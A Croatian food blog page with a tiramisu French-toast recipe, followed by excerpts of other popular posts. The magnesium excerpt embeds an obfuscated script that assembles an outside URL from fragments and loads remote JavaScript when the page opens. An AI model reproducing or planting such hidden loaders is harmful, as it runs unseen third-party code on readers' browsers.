TIRAMISU TOST




Tiramisu tost 



Za razliku od klasičnog tiramisua, koji ipak zahtijeva nešto više vremena i hlađenje, ovdje je sve gotovo gotovo čim se tost ispeče. Topli kruh upije aromu espressa, krema od mascarponea ostaje hladna i svilenkasta, a završni sloj gorkog kakaa zaokružuje cijelu priču. Rezultat je desert koji se bez grižnje savjesti može jesti i za doručak.





Tiramisu tost 


Sastojci:

Za french toast:

  • 2 deblje šnite brioche ili tost kruha
  • 1 jaje
  • 2 žlice mlijeka
  • 1 žličica šećera
  • nekoliko kapi ekstrakta vanilije
  • malo maslaca za pečenje

Za kremu:

  • 100 g mascarponea
  • 2 žlice grčkog jogurta ili slatkog vrhnja
  • 1 do 2 žličice šećera u prahu

Još će vam trebati:

  • 1 espresso (ohlađen)
  • gorki kakao za posipanje




Priprema:

U zdjelici umutite jaje, mlijeko, šećer i vaniliju. U smjesu kratko umočite obje šnite kruha kako bi upile dovoljno tekućine, ali zadržale oblik. Na tavi otopite malo maslaca pa tost pecite nekoliko minuta sa svake strane, dok ne poprimi lijepu zlatnosmeđu boju i postane hrskav izvana, a mekan iznutra.

Za to vrijeme pomiješajte mascarpone, grčki jogurt ili slatko vrhnje i šećer u prahu dok ne dobijete glatku, prozračnu kremu. Pečeni tost još dok je topao lagano prelijte ohlađenim espressom ili ga premažite kistom umočenim u kavu. Nemojte pretjerati kako kruh ne bi postao gnjecav.

Na vrh rasporedite bogat sloj mascarpone kreme, a cijeli tost završite obilnim slojem gorkog kakaa prosijanog kroz sitno cjedilo. Za još bogatiji okus možete dodati nekoliko komadića tamne čokolade ili naribati čokoladu preko kreme neposredno prije posluživanja. Poslužite odmah, dok je tost još topao, a krema hladna! U slast!




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više